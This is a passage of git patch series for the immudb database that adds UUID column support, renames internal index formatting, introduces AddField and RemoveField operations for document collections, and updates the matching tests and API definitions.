0x79, 0x41, 0x75, 0x74, 0x68, 0x12, 0x00, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/client/sql.go b/pkg/client/sql.go index fb95a27a59..0299cd0c61 100644 --- a/pkg/client/sql.go +++ b/pkg/client/sql.go @@ -345,6 +345,10 @@ func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { { return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} } + case sql.UUIDType: + { + return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} + } case sql.BooleanType: { return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.RawValue().(bool)}} diff --git a/pkg/database/database.go b/pkg/database/database.go index 283c4eb347..b01a1f5064 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -138,8 +138,6 @@ type DB interface { DocumentDatabase } -type uuid = string - type replicaState struct { precommittedTxID uint64 precommittedAlh [sha256.Size]byte @@ -164,7 +162,7 @@ type db struct { txPool store.TxPool - replicaStates map[uuid]*replicaState + replicaStates map[string]*replicaState replicaStatesMutex sync.Mutex } @@ -176,10 +174,10 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l log.Infof("opening database '%s' {replica = %v}...", dbName, op.replica) - var replicaStates map[uuid]*replicaState + var replicaStates map[string]*replicaState // replica states are only managed in primary with synchronous replication if !op.replica && op.syncAcks > 0 { - replicaStates = make(map[uuid]*replicaState, op.syncAcks) + replicaStates = make(map[string]*replicaState, op.syncAcks) } dbi := &db{ @@ -277,10 +275,10 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo log.Infof("creating database '%s' {replica = %v}...", dbName, op.replica) - var replicaStates map[uuid]*replicaState + var replicaStates map[string]*replicaState // replica states are only managed in primary with synchronous replication if !op.replica && op.syncAcks > 0 { - replicaStates = make(map[uuid]*replicaState, op.syncAcks) + replicaStates = make(map[string]*replicaState, op.syncAcks) } dbi := &db{ @@ -1647,7 +1645,7 @@ func (d *db) AsReplica(asReplica, syncReplication bool, syncAcks int) { if asReplica { d.replicaStates = nil } else if syncAcks > 0 { - d.replicaStates = make(map[uuid]*replicaState, syncAcks) + d.replicaStates = make(map[string]*replicaState, syncAcks) } d.st.SetExternalCommitAllowance(syncReplication) diff --git a/pkg/database/sql.go b/pkg/database/sql.go index d2d56d8dc9..ba44eef567 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -26,6 +26,8 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" + + "github.com/google/uuid" ) func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { @@ -270,7 +272,7 @@ func (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) var maxLen string if c.MaxLen() > 0 && (c.Type() == sql.VarcharType || c.Type() == sql.BLOBType) { - maxLen = fmt.Sprintf("[%d]", c.MaxLen()) + maxLen = fmt.Sprintf("(%d)", c.MaxLen()) } res.Rows = append(res.Rows, &schema.Row{ @@ -487,6 +489,11 @@ func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { { return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} } + case sql.UUIDType: + { + u := tv.RawValue().(uuid.UUID) + return &schema.SQLValue{Value: &schema.SQLValue_S{S: u.String()}} + } case sql.BooleanType: { return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.RawValue().(bool)}} From 427f29163b3049e484e815aed9a7aac4555399b9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 15 Sep 2023 16:19:39 +0200 Subject: [PATCH 0788/1062] chore(embedded/sql): use declared constant for fixed ids Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine.go | 4 ++-- embedded/sql/stmt.go | 21 +++++++++++---------- 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 03d7789e90..d361dad932 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -193,9 +193,9 @@ func (e *Engine) NewTx(ctx context.Context, opts *TxOptions) (*SQLTx, error) { rowEntryPrefix := MapKey( e.prefix, RowPrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(table.id), - EncodeID(0), + EncodeID(primaryIndex.id), ) mappedPKEntryPrefix := MapKey( diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 35e6cdc8ff..0badfd08b4 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -42,6 +42,7 @@ const ( MappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) ) +const DatabaseID = uint32(1) // deprecated but left to maintain backwards compatibility const PKIndexID = uint32(0) const ( @@ -289,7 +290,7 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s } } - mappedKey := MapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) + mappedKey := MapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(DatabaseID), EncodeID(table.id)) err = tx.set(mappedKey, nil, []byte(table.name)) if err != nil { @@ -320,7 +321,7 @@ func persistColumn(tx *SQLTx, col *Column) error { mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), @@ -435,7 +436,7 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s copy(encodedValues[1+i*colSpecLen:], EncodeID(col.id)) } - mappedKey := MapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) + mappedKey := MapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id)) err = tx.set(mappedKey, nil, encodedValues) if err != nil { @@ -555,7 +556,7 @@ func persistColumnDeletion(ctx context.Context, tx *SQLTx, col *Column) error { mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), @@ -832,7 +833,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m } } - rowKey := MapKey(tx.sqlPrefix(), RowPrefix, EncodeID(1), EncodeID(table.id), EncodeID(0), pkEncVals) + rowKey := MapKey(tx.sqlPrefix(), RowPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(PKIndexID), pkEncVals) encodedRowValue, err := tx.encodeRowValue(valuesByColID, table) if err != nil { @@ -1293,7 +1294,7 @@ func (tx *SQLTx) deleteIndexEntries(pkEncVals []byte, valuesByColID map[uint32]T } encodedValues := make([][]byte, 3+len(index.cols)) - encodedValues[0] = EncodeID(1) + encodedValues[0] = EncodeID(DatabaseID) encodedValues[1] = EncodeID(table.id) encodedValues[2] = EncodeID(index.id) @@ -4222,7 +4223,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str mappedKey := MapKey( tx.sqlPrefix(), catalogTablePrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(table.id), ) err = tx.delete(ctx, mappedKey) @@ -4236,7 +4237,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str mappedKey := MapKey( tx.sqlPrefix(), catalogColumnPrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(col.table.id), EncodeID(col.id), []byte(col.colType), @@ -4252,7 +4253,7 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id), ) @@ -4334,7 +4335,7 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str mappedKey := MapKey( tx.sqlPrefix(), catalogIndexPrefix, - EncodeID(1), + EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id), ) From 487c5ec604f3874c16b8b9218a261a66a96250fa Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 16 Sep 2023 00:30:33 +0200 Subject: [PATCH 0789/1062] chore(embedded/sql): uuid decoding Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 4 ++-- embedded/sql/engine_test.go | 47 ++++++++++++++++++++++++++++++++++++- 2 files changed, 48 insertions(+), 3 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 713196f1e8..ebd7945cef 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -1373,9 +1373,9 @@ func DecodeValue(b []byte, colType SQLValueType) (TypedValue, int, error) { return nil, 0, ErrCorruptedData } - u, err := uuid.FromBytes(b[voff:]) + u, err := uuid.FromBytes(b[voff : voff+16]) if err != nil { - + return nil, 0, fmt.Errorf("%w: %s", ErrCorruptedData, err.Error()) } voff += vlen diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index f85d213899..425e217f29 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -355,7 +355,7 @@ func TestTimestampCasts(t *testing.T) { }) } -func TestUUIDType(t *testing.T) { +func TestUUIDAsPK(t *testing.T) { engine := setupCommonTest(t) _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE IF NOT EXISTS uuid_table(id UUID, PRIMARY KEY id)", nil) @@ -363,6 +363,25 @@ func TestUUIDType(t *testing.T) { sel := EncodeSelector("", "uuid_table", "id") + t.Run("UUID as PK", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())", nil) + require.NoError(t, err) + + _, err := engine.InferParameters(context.Background(), nil, "SELECT id FROM uuid_table WHERE id = NOW()") + require.ErrorIs(t, err, ErrInvalidTypes) + + r, err := engine.Query(context.Background(), nil, "SELECT id FROM uuid_table", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + }) + t.Run("must accept RANDOM_UUID() as an UUID", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id) VALUES(RANDOM_UUID())", nil) require.NoError(t, err) @@ -384,6 +403,32 @@ func TestUUIDType(t *testing.T) { } +func TestUUIDNonPK(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE uuid_table(id INTEGER, u UUID, t VARCHAR, PRIMARY KEY id)", nil) + require.NoError(t, err) + + sel := EncodeSelector("", "uuid_table", "u") + + t.Run("UUID as non PK", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO uuid_table(id, u, t) VALUES(1, RANDOM_UUID(), 't')", nil) + require.NoError(t, err) + + r, err := engine.Query(context.Background(), nil, "SELECT u FROM uuid_table", nil) + require.NoError(t, err) + defer r.Close() + + row, err := r.Read(context.Background()) + require.NoError(t, err) + require.Equal(t, UUIDType, row.ValuesBySelector[sel].Type()) + + require.Len(t, row.ValuesByPosition, 1) + require.Equal(t, row.ValuesByPosition[0], row.ValuesBySelector[sel]) + }) + +} + func TestFloatType(t *testing.T) { engine := setupCommonTest(t) From ae535d8917aa4454b80a2700f0e978adb9b4a5c0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 16 Sep 2023 11:23:40 +0200 Subject: [PATCH 0790/1062] test(pkg/database): include uuid field type in document api Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database_test.go | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index ad3d1545ef..dff0336ad2 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -28,6 +28,7 @@ import ( "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/verification" + "github.com/google/uuid" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) @@ -135,6 +136,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ Name: defaultCollectionName, Fields: []*protomodel.Field{ + {Name: "uuid", Type: protomodel.FieldType_UUID}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, @@ -150,6 +152,7 @@ func TestDocumentDB_WithCollections(t *testing.T) { expectedFieldKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "uuid", Type: protomodel.FieldType_UUID}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, @@ -320,15 +323,11 @@ func TestDocumentDB_WithDocuments(t *testing.T) { _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ - { - Name: "pincode", - Type: protomodel.FieldType_INTEGER, - }, + {Name: "uuid", Type: protomodel.FieldType_UUID}, + {Name: "pincode", Type: protomodel.FieldType_INTEGER}, }, Indexes: []*protomodel.Index{ - { - Fields: []string{"pincode"}, - }, + {Fields: []string{"pincode"}}, }, }) require.NoError(t, err) @@ -344,14 +343,20 @@ func TestDocumentDB_WithDocuments(t *testing.T) { var res *protomodel.InsertDocumentsResponse var docID string + + u, err := uuid.NewUUID() + require.NoError(t, err) + t.Run("should pass when adding documents", func(t *testing.T) { - var err error // add document to collection res, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ CollectionName: collectionName, Documents: []*structpb.Struct{ { Fields: map[string]*structpb.Value{ + "uuid": { + Kind: &structpb.Value_StringValue{StringValue: u.String()}, + }, "pincode": { Kind: &structpb.Value_NumberValue{NumberValue: 123}, }, @@ -400,6 +405,7 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.NoError(t, err) doc = revision.Document + require.Equal(t, u.String(), doc.Fields["uuid"].GetStringValue()) require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) }) From 1ac6f50e58aee3a07413e96cfc3217246b23904e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 16 Sep 2023 13:29:13 +0200 Subject: [PATCH 0791/1062] chore(embedded/sql): improve internal index naming Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 4 ++-- embedded/sql/engine_test.go | 10 +++++----- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index ebd7945cef..6dd536772c 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -253,7 +253,7 @@ func indexName(tableName string, cols []*Column) string { buf.WriteString(tableName) - buf.WriteString("[") + buf.WriteString("(") for c, col := range cols { buf.WriteString(col.colName) @@ -263,7 +263,7 @@ func indexName(tableName string, cols []*Column) string { } } - buf.WriteString("]") + buf.WriteString(")") return buf.String() } diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 425e217f29..95b0d75a22 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -6054,14 +6054,14 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(indexes.table)"].RawValue()) - require.Equal(t, "mytable1[id]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.Equal(t, "mytable1(id)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable1", row.ValuesBySelector["(indexes.table)"].RawValue()) - require.Equal(t, "mytable1[title]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.Equal(t, "mytable1(title)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.False(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) @@ -6078,21 +6078,21 @@ func TestSingleDBCatalogQueries(t *testing.T) { row, err := r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) - require.Equal(t, "mytable2[id]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.Equal(t, "mytable2(id)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.True(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) - require.Equal(t, "mytable2[name]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.Equal(t, "mytable2(name)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.False(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) row, err = r.Read(context.Background()) require.NoError(t, err) require.Equal(t, "mytable2", row.ValuesBySelector["(indexes.table)"].RawValue()) - require.Equal(t, "mytable2[name,active]", row.ValuesBySelector["(indexes.name)"].RawValue()) + require.Equal(t, "mytable2(name,active)", row.ValuesBySelector["(indexes.name)"].RawValue()) require.True(t, row.ValuesBySelector["(indexes.unique)"].RawValue().(bool)) require.False(t, row.ValuesBySelector["(indexes.primary)"].RawValue().(bool)) From 96224dcf87e159715d80178a3539eb5bf0356f82 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 20 Sep 2023 17:04:35 +0200 Subject: [PATCH 0792/1062] test(pkg/server): indexing delay Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations_test.go | 3 +++ 1 file changed, 3 insertions(+) diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 02a3c1eae5..2c28e9b4c7 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -20,6 +20,7 @@ import ( "context" "fmt" "testing" + "time" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" @@ -921,6 +922,8 @@ func TestDocuments(t *testing.T) { docID = res.DocumentIds[0] }) + time.Sleep(100 * time.Millisecond) + t.Run("should pass when auditing document", func(t *testing.T) { resp, err := s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{ CollectionName: collectionName, From f80b8b4882e48bb5e365957ce4a2f70003402750 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 21 Sep 2023 17:16:03 +0200 Subject: [PATCH 0793/1062] feat(embedded/document): add field to collection Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 55 ++++++++++++++++++++++++++++++++ embedded/document/engine_test.go | 27 ++++++++++++++++ embedded/sql/stmt.go | 4 +++ 3 files changed, 86 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index eebf4653e7..e65edb4272 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -464,6 +464,61 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er return mayTranslateError(err) } +func (e *Engine) AddField(ctx context.Context, collectionName string, field *protomodel.Field) error { + err := validateCollectionName(collectionName) + if err != nil { + return err + } + + if field == nil { + return fmt.Errorf("%w: no field specified", ErrIllegalArguments) + } + + err = validateFieldName(field.Name) + if err != nil { + return err + } + + sqlType, err := protomodelValueTypeToSQLValueType(field.Type) + if err != nil { + return err + } + + colLen, err := sqlValueTypeDefaultLength(sqlType) + if err != nil { + return err + } + + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() + + colSpec := sql.NewColSpec(field.Name, sqlType, colLen, false, false) + + addColumnStmt := sql.NewAddColumnStmt(collectionName, colSpec) + + _, _, err = e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + []sql.SQLStmt{addColumnStmt}, + nil, + ) + if err != nil { + return mayTranslateError(err) + } + + err = sqlTx.Commit(ctx) + return mayTranslateError(err) +} + func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields []string, isUnique bool) error { err := validateCollectionName(collectionName) if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index f6053093a8..1647e77676 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -1499,6 +1499,33 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { require.ErrorIs(t, err, ErrFieldDoesNotExist) }) + t.Run("create index with a new field name should succeed", func(t *testing.T) { + err := engine.AddField( + context.Background(), + collectionName, + &protomodel.Field{ + Name: "newFieldName", + Type: protomodel.FieldType_INTEGER, + }, + ) + require.NoError(t, err) + + err = engine.CreateIndex( + context.Background(), + collectionName, + []string{"newFieldName"}, + false, + ) + require.NoError(t, err) + + err = engine.DeleteIndex( + context.Background(), + collectionName, + []string{"newFieldName"}, + ) + require.NoError(t, err) + }) + t.Run("delete index with invalid collection name should fail", func(t *testing.T) { // update collection err := engine.DeleteIndex( diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 0badfd08b4..cd58eca58e 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -453,6 +453,10 @@ type AddColumnStmt struct { colSpec *ColSpec } +func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { + return &AddColumnStmt{table: table, colSpec: colSpec} +} + func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } From 3c0cb35243132fe3803e0d111dbab6fc0c869b6e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 21 Sep 2023 17:22:59 +0200 Subject: [PATCH 0794/1062] feat(embedded/document): remove field from collection Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 39 ++++++++++++++++++++++++++++++++ embedded/document/engine_test.go | 39 ++++++++++++++++++++++++++++++++ 2 files changed, 78 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e65edb4272..d6467a277b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -519,6 +519,45 @@ func (e *Engine) AddField(ctx context.Context, collectionName string, field *pro return mayTranslateError(err) } +func (e *Engine) RemoveField(ctx context.Context, collectionName string, fieldName string) error { + err := validateCollectionName(collectionName) + if err != nil { + return err + } + + err = validateFieldName(fieldName) + if err != nil { + return err + } + + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() + + dropColumnStmt := sql.NewDropColumnStmt(collectionName, fieldName) + + _, _, err = e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + []sql.SQLStmt{dropColumnStmt}, + nil, + ) + if err != nil { + return mayTranslateError(err) + } + + err = sqlTx.Commit(ctx) + return mayTranslateError(err) +} + func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields []string, isUnique bool) error { err := validateCollectionName(collectionName) if err != nil { diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 1647e77676..c19ba1b468 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -21,6 +21,7 @@ import ( "sync" "testing" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/stretchr/testify/require" @@ -1497,6 +1498,13 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { false, ) require.ErrorIs(t, err, ErrFieldDoesNotExist) + + err = engine.RemoveField( + context.Background(), + collectionName, + "unexistentFieldName", + ) + require.ErrorIs(t, err, ErrFieldDoesNotExist) }) t.Run("create index with a new field name should succeed", func(t *testing.T) { @@ -1510,6 +1518,16 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { ) require.NoError(t, err) + err = engine.AddField( + context.Background(), + collectionName, + &protomodel.Field{ + Name: "newFieldName", + Type: protomodel.FieldType_BOOLEAN, + }, + ) + require.ErrorIs(t, err, ErrFieldAlreadyExists) + err = engine.CreateIndex( context.Background(), collectionName, @@ -1518,12 +1536,33 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { ) require.NoError(t, err) + err = engine.RemoveField( + context.Background(), + collectionName, + "newFieldName", + ) + require.ErrorIs(t, err, sql.ErrCantDropIndexedColumn) + err = engine.DeleteIndex( context.Background(), collectionName, []string{"newFieldName"}, ) require.NoError(t, err) + + err = engine.RemoveField( + context.Background(), + collectionName, + "newFieldName", + ) + require.NoError(t, err) + + err = engine.RemoveField( + context.Background(), + collectionName, + "newFieldName", + ) + require.ErrorIs(t, err, ErrFieldDoesNotExist) }) t.Run("delete index with invalid collection name should fail", func(t *testing.T) { From 9fea4dca39d9183e619a567b893364b0db639e9c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 21 Sep 2023 17:48:24 +0200 Subject: [PATCH 0795/1062] feat(pkg/api): add field and remove field endpoints Signed-off-by: Jeronimo Irazabal --- pkg/api/openapi/apidocs.swagger.json | 102 +- pkg/api/proto/documents.proto | 51 + pkg/api/protomodel/docs.md | 58 + pkg/api/protomodel/documents.pb.go | 1370 ++++++++++++++--------- pkg/api/protomodel/documents.pb.gw.go | 240 ++++ pkg/api/protomodel/documents_grpc.pb.go | 72 ++ pkg/auth/permissions.go | 4 + pkg/database/document_database.go | 42 + pkg/server/db_dummy_closed.go | 8 + pkg/server/db_dummy_closed_test.go | 6 + pkg/server/documents_operations.go | 18 + 11 files changed, 1419 insertions(+), 552 deletions(-) diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index 456291f66c..dbd04335d4 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -142,7 +142,7 @@ ] } }, - "/collection/documents/searchWith/{searchId}": { + "/collection/documents/search/{searchId}": { "post": { "operationId": "SearchDocumentsWith", "responses": { @@ -306,6 +306,80 @@ ] } }, + "/collection/{collectionName}/field": { + "post": { + "operationId": "AddField", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelAddFieldResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelAddFieldRequest" + } + } + ], + "tags": [ + "documents" + ] + } + }, + "/collection/{collectionName}/field/{fieldName}": { + "delete": { + "operationId": "RemoveField", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelRemoveFieldResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/runtimeError" + } + } + }, + "parameters": [ + { + "name": "collectionName", + "in": "path", + "required": true, + "type": "string" + }, + { + "name": "fieldName", + "in": "path", + "required": true, + "type": "string" + } + ], + "tags": [ + "documents" + ] + } + }, "/collection/{collectionName}/index": { "delete": { "operationId": "DeleteIndex", @@ -721,6 +795,20 @@ } } }, + "modelAddFieldRequest": { + "type": "object", + "properties": { + "field": { + "$ref": "#/definitions/modelField" + } + }, + "required": [ + "field" + ] + }, + "modelAddFieldResponse": { + "type": "object" + }, "modelAuditDocumentRequest": { "type": "object", "properties": { @@ -737,8 +825,6 @@ } }, "required": [ - "collectionName", - "documentId", "desc", "page", "pageSize" @@ -973,7 +1059,8 @@ "STRING", "BOOLEAN", "INTEGER", - "DOUBLE" + "DOUBLE", + "UUID" ], "default": "STRING" }, @@ -1087,8 +1174,6 @@ } }, "required": [ - "collectionName", - "documentId", "transactionId", "proofSinceTransactionId" ] @@ -1162,6 +1247,9 @@ "fieldComparisons" ] }, + "modelRemoveFieldResponse": { + "type": "object" + }, "modelReplaceDocumentsRequest": { "type": "object", "properties": { @@ -1266,7 +1354,7 @@ "modelUpdateCollectionRequest": { "type": "object", "properties": { - "documentIdFieldName": { + "documentIdFieldName": { "type": "string" } }, diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 3bad74b130..ce6b9775d3 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -188,6 +188,38 @@ message UpdateCollectionRequest { message UpdateCollectionResponse {} +message AddFieldRequest { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collectionName", + "field" + ] + } + }; + + string collectionName = 1; + Field field = 2; +} + +message 